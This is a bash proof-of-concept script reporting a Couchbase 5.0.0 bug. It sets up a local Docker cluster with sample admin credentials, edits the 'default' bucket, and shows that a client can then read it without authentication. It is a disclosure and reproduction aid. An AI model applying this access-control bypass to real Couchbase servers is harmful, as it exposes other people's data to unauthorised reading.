Couchbase 5.0.0 "edit-to-free" Security Bug

cb5-edit-to-free.sh

#!/bin/bash
#
# Couchbase 5.0.0 "edit-to-free" Security Bug
# ===========================================
#
# Couchbase 5 introduced RBAC.  So clients always have to provide an
# authentication to use access on any bucket.  But in case of the 'default'
# bucket, if we edit the bucket once, clients can access without
# authentication.
#
# Heungsub Lee <sub@subl.ee>
#

set -euo pipefail

# only 'default' bucket has this problem
CB_BUCKET='default'

# create new couchbase 5.0
docker run -d --name=cb5 \
  -p 8091-8094:8091-8094 -p 11210:11210 \
  couchbase:enterprise-5.0.0

trap finalize EXIT

finalize() {
  docker rm -f cb5
}

# wait for couchbase ready
sleep 10

# init new cluster
docker exec cb5 mkdir -p /data/data
docker exec cb5 mkdir -p /data/index
docker exec cb5 chown couchbase /data/data
docker exec cb5 chown couchbase /data/index

docker exec cb5 /opt/couchbase/bin/couchbase-cli node-init \
  --cluster='127.0.0.1:8091' \
  --user='Administrator' \
  --password='password' \
  --node-init-data-path='/data/data' \
  --node-init-index-path='/data/index'

docker exec cb5 /opt/couchbase/bin/couchbase-cli cluster-init \
  --cluster='127.0.0.1:8091' \
  --cluster-username='Administrator' \
  --cluster-password='PaSsWoRd' \
  --cluster-port='8091' \
  --cluster-ramsize='512' \
  --cluster-index-ramsize='256' \
  --cluster-fts-ramsize='256' \
  --index-storage-setting='default' \
  --services='data,index,query'

docker exec cb5 /opt/couchbase/bin/couchbase-cli setting-cluster \
  --cluster='127.0.0.1:8091' \
  --user='Administrator' \
  --password='PaSsWoRd' \
  --cluster-name='test'
  
# create new bucket 'default'
docker exec cb5 /opt/couchbase/bin/couchbase-cli bucket-create \
  --cluster='127.0.0.1:8091' \
  --user='Administrator' \
  --password='PaSsWoRd' \
  --bucket="$CB_BUCKET" \
  --bucket-ramsize='512' \
  --bucket-replica='0' \
  --bucket-type='couchbase' \
  --bucket-priority='high' \
  --bucket-eviction-policy='fullEviction' \
  --enable-flush='1' \
  --enable-index-replica='0' \
  --conflict-resolution='sequence' \
  --wait

# 1. not possible to get bucket without auth
echo
echo '========================================================================'
echo ' 1. not possible to get bucket without auth'
echo '========================================================================'
cat <<EOF | python || true
from couchbase.bucket import Bucket
print(Bucket('couchbase://127.0.0.1/$CB_BUCKET'))
EOF

# 2. edit bucket
echo
echo '========================================================================'
echo ' 2. edit bucket'
echo '========================================================================'
docker exec cb5 /opt/couchbase/bin/couchbase-cli bucket-edit \
  --cluster='127.0.0.1:8091' \
  --user='Administrator' \
  --password='PaSsWoRd' \
  --bucket="$CB_BUCKET"

# 3. now we can get bucket without auth
echo
echo '========================================================================'
echo ' 3. now we can get bucket without auth'
echo '========================================================================'
# if the problem is not reproduced, here fails with non-zero exit code.
cat <<EOF | python
from couchbase.bucket import Bucket
print(Bucket('couchbase://127.0.0.1/$CB_BUCKET'))
EOF